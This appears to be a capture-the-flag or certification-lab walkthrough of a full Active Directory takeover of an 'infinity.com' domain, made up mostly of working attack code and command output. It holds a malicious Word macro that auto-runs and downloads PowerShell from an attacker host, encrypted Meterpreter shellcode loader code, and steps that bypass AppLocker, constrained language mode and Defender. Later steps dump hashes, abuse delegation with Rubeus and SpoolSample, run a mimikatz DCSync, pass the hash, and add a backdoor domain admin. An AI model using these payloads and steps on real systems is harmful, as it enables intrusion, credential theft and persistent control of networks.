192.168.X.120
53/tcp open domain?
| fingerprint-strings:
| DNSVersionBindReqTCP:
| version
|_ bind
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2021-02-06 05:23:40Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: infinity.com0., Site: Default-First-Site-Name)
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: infinity.com0., Site: Default-First-Site-Name)
3269/tcp open tcpwrapped
3389/tcp open ms-wbt-server Microsoft Terminal Services
| rdp-ntlm-info:
| Target_Name: INFINITY
| NetBIOS_Domain_Name: INFINITY
| NetBIOS_Computer_Name: DC03
| DNS_Domain_Name: infinity.com
| DNS_Computer_Name: dc03.infinity.com
| DNS_Tree_Name: infinity.com
| Product_Version: 10.0.17763
|_ System_Time: 2021-02-06T05:26:06+00:00
| ssl-cert: Subject: commonName=dc03.infinity.com
| Not valid before: 2020-12-01T22:19:46
|_Not valid after: 2021-06-02T22:19:46
|_ssl-date: 2021-02-06T05:26:46+00:00; -47s from scanner time.
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
9389/tcp open mc-nmf .NET Message Framing
49667/tcp open msrpc Microsoft Windows RPC
49672/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
49673/tcp open msrpc Microsoft Windows RPC
49677/tcp open msrpc Microsoft Windows RPC
49693/tcp open msrpc Microsoft Windows RPC
49715/tcp open msrpc Microsoft Windows RPC
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :

SF-Port53-TCP:V=7.80%I=7%D=2/6%Time=601E2810%P=xX_64-pc-linux-gnu%r(DNSVe
SF:rsionBindReqTCP,20,"\0\x1e\0\x06\x81\x04\0\x01\0\0\0\0\0\0\x07version\x
SF:04bind\0\0\x10\0\x03");
Service Info: Host: DC03; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: mean: -47s, deviation: 0s, median: -48s
| smb2-security-mode:
| 2.02:
|_   Message signing enabled and required
| smb2-time:
| date: 2021-02-06T05:26:10
|_ start_date: N/A

192.168.X.121
80/tcp   open http   Microsoft IIS httpd 10.0
| http-methods:
|_ Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
|_http-title: Job Application Upload Site
135/tcp open msrpc   Microsoft Windows RPC
445/tcp open microsoft-ds?
3389/tcp open ms-wbt-server Microsoft Terminal Services
| rdp-ntlm-info:
| Target_Name: INFINITY
| NetBIOS_Domain_Name: INFINITY
| NetBIOS_Computer_Name: WEB05
| DNS_Domain_Name: infinity.com
| DNS_Computer_Name: web05.infinity.com
| DNS_Tree_Name: infinity.com
| Product_Version: 10.0.17763
|_ System_Time: 2021-02-06T05:33:26+00:00
| ssl-cert: Subject: commonName=web05.infinity.com
| Not valid before: 2020-12-01T22:25:01
|_Not valid after: 2021-06-02T22:25:01
|_ssl-date: 2021-02-06T05:34:04+00:00; -45s from scanner time.
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: mean: -43s, deviation: 1s, median: -43s
| smb2-security-mode:
| 2.02:
|_   Message signing enabled but not required
| smb2-time:

| date: 2021-02-06T05:33:29
|_ start_date: N/A

192.168.X.122
135/tcp open msrpc   Microsoft Windows RPC
3389/tcp open ms-wbt-server Microsoft Terminal Services
| rdp-ntlm-info:
| Target_Name: INFINITY
| NetBIOS_Domain_Name: INFINITY
| NetBIOS_Computer_Name: CLIENT
| DNS_Domain_Name: infinity.com
| DNS_Computer_Name: client.infinity.com
| DNS_Tree_Name: infinity.com
| Product_Version: 10.0.18362
|_ System_Time: 2021-02-06T06:12:53+00:00
| ssl-cert: Subject: commonName=client.infinity.com
| Not valid before: 2020-12-01T22:25:04
|_Not valid after: 2021-06-02T22:25:04
|_ssl-date: 2021-02-06T06:13:07+00:00; -47s from scanner time.
5040/tcp open unknown
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

On http://192.168.X.121/ port 80, we have:
This site allows uploads of job applications for our open positions.

Applications must be submitted as Microsoft Word documents and clearly marked with job listing ID

To create a macro, we can do this:

```
Sub Document_Open()
 MyMacro
End Sub

Sub AutoOpen()
 MyMacro
End Sub

Sub MyMacro()
 Dim str As String
```

```
 str = "powershell IEX (New-Object
Net.WebClient).DownloadString('http://192.168.X.Y/Amsibypass.ps1'); IEX (New-Object
Net.WebClient).DownloadString('http://192.168.X.Y/drop.ps1')"
 Shell str, vbHide
End Sub
```

```
$cmd = "IEX (New-Object
Net.WebClient).DownloadString('http://192.168.X.Y/Amsibypass.ps1'); IEX (New-Object
Net.WebClient).DownloadString('http://192.168.X.Y/drop.ps1')"
[Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes($cmd)) | clip
```

Then it works to get shell by using 32-bit macro. So the reason why I didn't get shell earlier was because I was using 64-bit.
So you can first do:
msfvenom -p windows/meterpreter/reverse_http LHOST=192.168.X.Y LPORT=8080 -f csharp
Then use VBA encrypt helper:

```
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;

namespace EncryptVBA
{
    class Program
    {
        static void Main(string[] args)
        {
            byte[] buf = new byte[640] {
0xfc,0xe8,0x82,0x00,0x00,0x00,0x60,0x89,0xe5,0x31,0xc0,0x64,0x8b,0x50,0x30,
0x8b,0x52,0x0c,0x8b... };
            byte[] encoded = new byte[buf.Length];
            for (int i = 0; i < buf.Length; i++)
            {
                encoded[i] = (byte)(((uint)buf[i] + 2) & 0xFF);
            }
            uint counter = 0;

            StringBuilder hex = new StringBuilder(encoded.Length * 2);
            foreach (byte b in encoded)
            {
```

```
            hex.AppendFormat("{0:D}, ", b);
            counter++;
            if (counter % 50 == 0)
            {
                hex.AppendFormat("_{0}", Environment.NewLine);
            }
        }
        Console.WriteLine("The payload is: " + hex.ToString());

    }
  }
}
```

Then put it in this VBA code:

```
Private Declare PtrSafe Function CreateThread Lib "KERNEL32" (ByVal SecurityAttributes As Long, ByVal StackSize As Long, ByVal StartFunction As LongPtr, ThreadParameter As LongPtr, ByVal CreateFlags As Long, ByRef ThreadId As Long) As LongPtr
Private Declare PtrSafe Function VirtualAlloc Lib "KERNEL32" (ByVal lpAddress As LongPtr, ByVal dwSize As Long, ByVal flAllocationType As Long, ByVal flProtect As Long) As LongPtr
Private Declare PtrSafe Function RtlMoveMemory Lib "KERNEL32" (ByVal lDestination As LongPtr, ByRef sSource As Any, ByVal lLength As Long) As LongPtr

Sub MyMacro()
 Dim buf As Variant
 Dim addr As LongPtr
 Dim counter As Long
 Dim data As Long
 Dim res As Long

 buf = Array(EncryptedShellCode)

 For i = 0 To UBound(buf)
   buf(i) = buf(i) - 2
 Next i

 addr = VirtualAlloc(0, UBound(buf), &H3000, &H40)
 For counter = LBound(buf) To UBound(buf)
 data = buf(counter)
 res = RtlMoveMemory(addr + counter, data, 1)
 Next counter

 res = CreateThread(0, 0, addr, 0, 0, 0)
End Sub
```

```
Sub Document_Open()
 MyMacro
End Sub
Sub AutoOpen()
 MyMacro
End Sub
```

Then by uploading the docm, we get shell.

```
meterpreter > getuid
Server username: INFINITY\ted
meterpreter > sysinfo
Computer        : CLIENT
OS              : Windows 10 (10.0 Build 18363).
Architecture    : x64
System Language : en_US
Domain          : INFINITY
Logged On Users : 6
Meterpreter     : xX/windows
```

So we have shell on the client machine(192.168.X.122) and not the web05 machine.

We have 32-bit shell on 64-bit OS, so let's create migrate to explorer.exe process

```
meterpreter > migrate 5396
[*] Migrating from 7768 to 5396...
[*] Migration completed successfully.
meterpreter > sysinfo
Computer        : CLIENT
OS              : Windows 10 (10.0 Build 18363).
Architecture    : x64
System Language : en_US
Domain          : INFINITY
Logged On Users : 6
Meterpreter     : x64/windows
```

```
more c:\users\ted\desktop\local.txt
1e589726e26a00359a99f73644767ada
```

If I try to bypass amsi, I get:
IEX (New-Object Net.WebClient).DownloadString('http://192.168.X.Y/Amsibypass.ps1')
New-Object : Cannot create type. Only core types are supported in this language mode.

Get-AppLockerPolicy -Effective | select -ExpandProperty RuleCollections

PublisherConditions : {***,0.0.0.0-*}
PublisherExceptions : {}
PathExceptions : {}
HashExceptions : {}
Id : a9e18c21-ff8f-43cf-b9fc-db40eed693ba
Name : (Default Rule) All signed packaged apps
Description : Allows members of the Everyone group to run packaged apps that are signed.
UserOrGroupSid : S-1-1-0
Action : Allow

PublisherConditions : {*\O=MICROSOFT CORPORATION, L=REDMOND, S=WASHINGTON, C=US*,*}
PublisherExceptions : {}
PathExceptions : {}
HashExceptions : {}
Id : c069da75-154f-4c94-9281-0836128d4748
Name : Signed by O=MICROSOFT CORPORATION, L=REDMOND, S=WASHINGTON, C=US
Description :
UserOrGroupSid : S-1-1-0
Action : Allow

PathConditions : {%PROGRAMFILES%*}
PathExceptions : {}
PublisherExceptions : {}
HashExceptions : {}
Id : 3737732c-99b7-41d4-9037-9cddfb0de0d0
Name : (Default Rule) All DLLs located in the Program Files folder
Description : Allows members of the Everyone group to load DLLs that are located in the Program Files folder.
UserOrGroupSid : S-1-1-0
Action : Allow

PathConditions : {*}
PathExceptions : {}
PublisherExceptions : {}

HashExceptions : {}
Id : fe64f59f-6fca-45e5-a731-0f6715327c38
Name : (Default Rule) All DLLs
Description : Allows members of the local Administrators group to load all DLLs.
UserOrGroupSid : S-1-5-32-544
Action : Allow

PublisherConditions : {*\O=MICROSOFT CORPORATION, L=REDMOND, S=WASHINGTON, C=US*,*}
PublisherExceptions : {}
PathExceptions : {}
HashExceptions : {}
Id : 28aa3e2a-9749-4b38-9e8a-1e8944233c2d
Name : Signed by O=MICROSOFT CORPORATION, L=REDMOND, S=WASHINGTON, C=US
Description :
UserOrGroupSid : S-1-1-0
Action : Allow

PathConditions : {%PROGRAMFILES%*}
PathExceptions : {}
PublisherExceptions : {}
HashExceptions : {}
Id : 921cc481-6e17-4653-8f75-050b80acca20
Name : (Default Rule) All files located in the Program Files folder
Description : Allows members of the Everyone group to run applications that are located in the Program Files
folder.
UserOrGroupSid : S-1-1-0
Action : Allow

PathConditions : {*}
PathExceptions : {}
PublisherExceptions : {}
HashExceptions : {}
Id : fd6Xd83-a829-4351-8ff4-27c7de5755d2
Name : (Default Rule) All files
Description : Allows members of the local Administrators group to run all applications.
UserOrGroupSid : S-1-5-32-544
Action : Allow

PublisherConditions : {***,0.0.0.0-*}
PublisherExceptions : {}
PathExceptions : {}

HashExceptions : {}
Id : b7af7102-efde-4369-8a89-7a6a392d1473
Name : (Default Rule) All digitally signed Windows Installer files
Description : Allows members of the Everyone group to run digitally signed Windows Installer files.
UserOrGroupSid : S-1-1-0
Action : Allow

PathConditions : {%WINDIR%\Installer*}
PathExceptions : {}
PublisherExceptions : {}
HashExceptions : {}
Id : 5b290184-345a-4453-b184-45305f6d9a54
Name : (Default Rule) All Windows Installer files in %systemdrive%\Windows\Installer
Description : Allows members of the Everyone group to run all Windows Installer files located in
%systemdrive%\Windows\Installer.
UserOrGroupSid : S-1-1-0
Action : Allow

PathConditions : {*.*}
PathExceptions : {}
PublisherExceptions : {}
HashExceptions : {}
Id : 64ad46ff-0d71-4fa0-a30b-3f3d30c5433d
Name : (Default Rule) All Windows Installer files
Description : Allows members of the local Administrators group to run all Windows Installer files.
UserOrGroupSid : S-1-5-32-544
Action : Allow

PublisherConditions : {*\O=MICROSOFT CORPORATION, L=REDMOND, S=WASHINGTON, C=US*,*}
PublisherExceptions : {}
PathExceptions : {}
HashExceptions : {}
Id : 6dbaafc1-161f-4449-ada0-8423e7f85beb
Name : Signed by O=MICROSOFT CORPORATION, L=REDMOND, S=WASHINGTON, C=US
Description :
UserOrGroupSid : S-1-1-0
Action : Allow

PathConditions : {%PROGRAMFILES%*}

PathExceptions : {}
PublisherExceptions : {}
HashExceptions : {}
Id : 06dce67b-934c-454f-a263-2515c8796a5d
Name : (Default Rule) All scripts located in the Program Files folder
Description : Allows members of the Everyone group to run scripts that are located in the Program Files folder.
UserOrGroupSid : S-1-1-0
Action : Allow

PathConditions : {c:\setup\script.ps1}
PathExceptions : {}
PublisherExceptions : {}
HashExceptions : {}
Id : 5ea467a3-aaad-4499-a151-Xf19657f412
Name : c:\setup\script.ps1
Description :
UserOrGroupSid : S-1-5-21-3616753307-3538385277-467097740-1106
Action : Allow

PathConditions : {*}
PathExceptions : {}
PublisherExceptions : {}
HashExceptions : {}
Id : ed97d0cb-15ff-430f-b82c-8d7832957725
Name : (Default Rule) All scripts
Description : Allows members of the local Administrators group to run all scripts.
UserOrGroupSid : S-1-5-32-544
Action : Allow

$ExecutionContext.SessionState.LanguageMode
ConstrainedLanguage

We also have constrained language mode enabled.
To bypass CLM, we can use https://github.com/calebstewart/bypass-clm

PS C:\windows\tasks> C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=false /U "C:\Windows\Tasks\bypass-clm.exe"

Banner

PS C:\windows\tasks> $ExecutionContext.SessionState.LanguageMode
$ExecutionContext.SessionState.LanguageMode

FullLanguage

Now we have bypassed CLM.

net use v: \\192.168.X.Y\share /u:share share

IEX (New-Object Net.WebClient).DownloadString('http://192.168.X.Y:8084/SharpHound.ps1')

Ted is in group INFINITY\PswReaders Group S-1-5-21-3616753307-3538385277-467097740-1108 Mandatory group, Enabled by default, Enabled group

So maybe he can read some password?

Let's try to read LAPS because I saw LAPS was installed earlier:
IEX (New-Object Net.WebClient).DownloadString('http://192.168.X.Y/PowerView.ps1')
Get-ADObject -Name web05 -DomainController 192.168.X.120 -Properties ms-mcs-admpwd

ms-mcs-admpwd

#8-8N#UP5M/+db

Then we RDP as administrator:#8-8N#UP5M/+db to web05(192.168.X.121)

C:\Users\Administrator\Desktop>more proof.txt
19ee31e57b4cc948be06bda4fd2f38c0

Then I spawn a grunt with:
IEX (New-Object Net.WebClient).DownloadString('http://192.168.X.Y/Amsibypass.ps1');
IEX(New-Object Net.WebClient).DownloadString('http://192.168.X.Y/drop2.ps1')

Switch to system user so we are in domain context
.\PsExec64.exe -accepteula -s -i cmd.exe
.\SharpHound.exe --CollectionMethod All --GPOLocalGroup

C:\Program Files\Windows Defender>.\MpCmdRun.exe -removedefinitions -all

User : INFINITY\Administrator
MsCacheV2 : ab26b0af6e6cf5a6d34a126b117474cb

RID : 000001f4 (500)
User : Administrator
LM :

NTLM : b650d361bb51e5d3c7c5d9d069e3c5c5

RID : 000003e8 (1000)
User : setup
LM :
NTLM : def44d6a2d62798aa4e2792dfe1a8028

Then I BloodHound I see that web05 has unconstrained delegation allowed, which we confirm with: Get-NetComputer -Unconstrained

logoncount : 95
badpasswordtime : 11/11/2020 4:18:27 PM
distinguishedname : CN=WEB05,OU=InfServers,DC=infinity,DC=com
objectclass : {top, person, organizationalPerson, user...}
badpwdcount : 0
lastlogontimestamp : 2/6/2021 1:35:02 AM
objectsid : S-1-5-21-3616753307-3538385277-467097740-1103
samaccountname : WEB05$
localpolicyflags : 0
codepage : 0
samaccounttype : MACHINE_ACCOUNT
countrycode : 0
cn : WEB05
accountexpires : NEVER
whenchanged : 2/6/2021 11:09:17 AM
instancetype : 4
usncreated : 12798
objectguid : f4d9c46b-0e24-4ec1-8bba-e3693ef27026
operatingsystem : Windows Server 2019 Standard
operatingsystemversion : 10.0 (17763)
ms-mcs-admpwdexpirationtime : 3/8/2021 3:09:17 AM
lastlogoff : 12/31/1600 4:00:00 PM
objectcategory : CN=Computer,CN=Schema,CN=Configuration,DC=infinity,DC=com
dscorepropagationdata : {7/2/2020 7:47:45 AM, 7/2/2020 7:44:12 AM, 7/1/2020 9:15:01 PM, 1/1/1601 12:04:17 AM}
serviceprincipalname : {WSMAN/web05, WSMAN/web05.infinity.com, TERMSRV/WEB05, TERMSRV/web05.infinity.com...}
lastlogon : 2/6/2021 1:07:55 PM
iscriticalsystemobject : False
usnchanged : 69775
useraccountcontrol : WORKSTATION_TRUST_ACCOUNT, TRUSTED_FOR_DELEGATION
whencreated : 7/1/2020 9:02:20 PM

primarygroupid : 515
pwdlastset : 2/6/2021 1:50:01 AM
msds-supportedencryptiontypes : 28
name : WEB05
dnshostname : web05.infinity.com

PS C:\users> ls \\dc03.infinity.com\pipe\spoolss

Directory: \\dc03.infinity.com\pipe

Mode LastWriteTime Length Name
---- ------------- ------ ----
spoolss

So spoolss runs on the DC.

Then we do:

.\Rubeus.exe monitor /interval:1
.\SpoolSample.exe dc03.infinity.com web05.infinity.com

Then we grab the ticket for DC03$ and do: .\Rubues.exe ptt /ticket:base64Here

#4> Client: DC03$ @ INFINITY.COM
Server: HTTP/dc03 @ INFINITY.COM
KerbTicket Encryption Type: AES-256-CTS-HMAC-SHA1-96
Ticket Flags 0x60a50000 -> forwardable forwarded renewable pre_authent
ok_as_delegate name_canonicalize
Start Time: 2/6/2021 13:47:48 (local)
End Time: 2/6/2021 21:07:39 (local)
Renew Time: 2/13/2021 1:34:28 (local)
Session Key Type: AES-256-CTS-HMAC-SHA1-96
Cache Flags: 0
Kdc Called: dc03.infinity.com

#5> Client: DC03$ @ INFINITY.COM
Server: cifs/dc03.infinity.com @ INFINITY.COM
KerbTicket Encryption Type: AES-256-CTS-HMAC-SHA1-96
Ticket Flags 0x60a50000 -> forwardable forwarded renewable pre_authent
ok_as_delegate name_canonicalize
Start Time: 2/6/2021 13:47:09 (local)
End Time: 2/6/2021 21:07:39 (local)

Renew Time: 2/13/2021 1:34:28 (local)
Session Key Type: AES-256-CTS-HMAC-SHA1-96
Cache Flags: 0
Kdc Called: dc03.infinity.com

So it works to do a dcsync with mimikatz:
.\mimikatz.exe "privilege::debug" "lsadump::dcsync /domain:infinity.com /user:krbtgt /csv" "exit"
Credentials:
Hash NTLM: 120f9d6c433ec5b065fee44cf0f89354

Then let's grab domain admin hash:

.\mimikatz.exe "privilege::debug" "lsadump::dcsync /domain:infinity.com /user:administrator /csv" "exit"

Which gives: 5f9163ca3b673adfff2828f368ca3760

Then we can winrm to the DC with domain administrator hash:
evil-winrm -u infinity.com\\administrator -H 5f9163ca3b673adfff2828f368ca3760 -i 192.168.X.120

Evil-WinRM* PS C:\Users\Administrator\DEsktop> more proof.txt
5bcad562433fcc6b612823fce075568c

Now we have the root flag on the client machine left in this domain
Then on the DC, we do:
Evil-WinRM PS C:\users> net user rulon Password123! /add /domain
The command completed successfully.

Evil-WinRM PS C:\users> net localgroup "Remote Desktop Users" rulon /add /domain
The command completed successfully.

Evil-WinRM PS C:\users> net group "domain admins" rulon /add /domain
The command completed successfully.

Then we can RDP to client and grab the last flag

PS C:\Users\administrator\Desktop> more .\proof.txt
67a3508727c19d520a57903b6c9ef4ec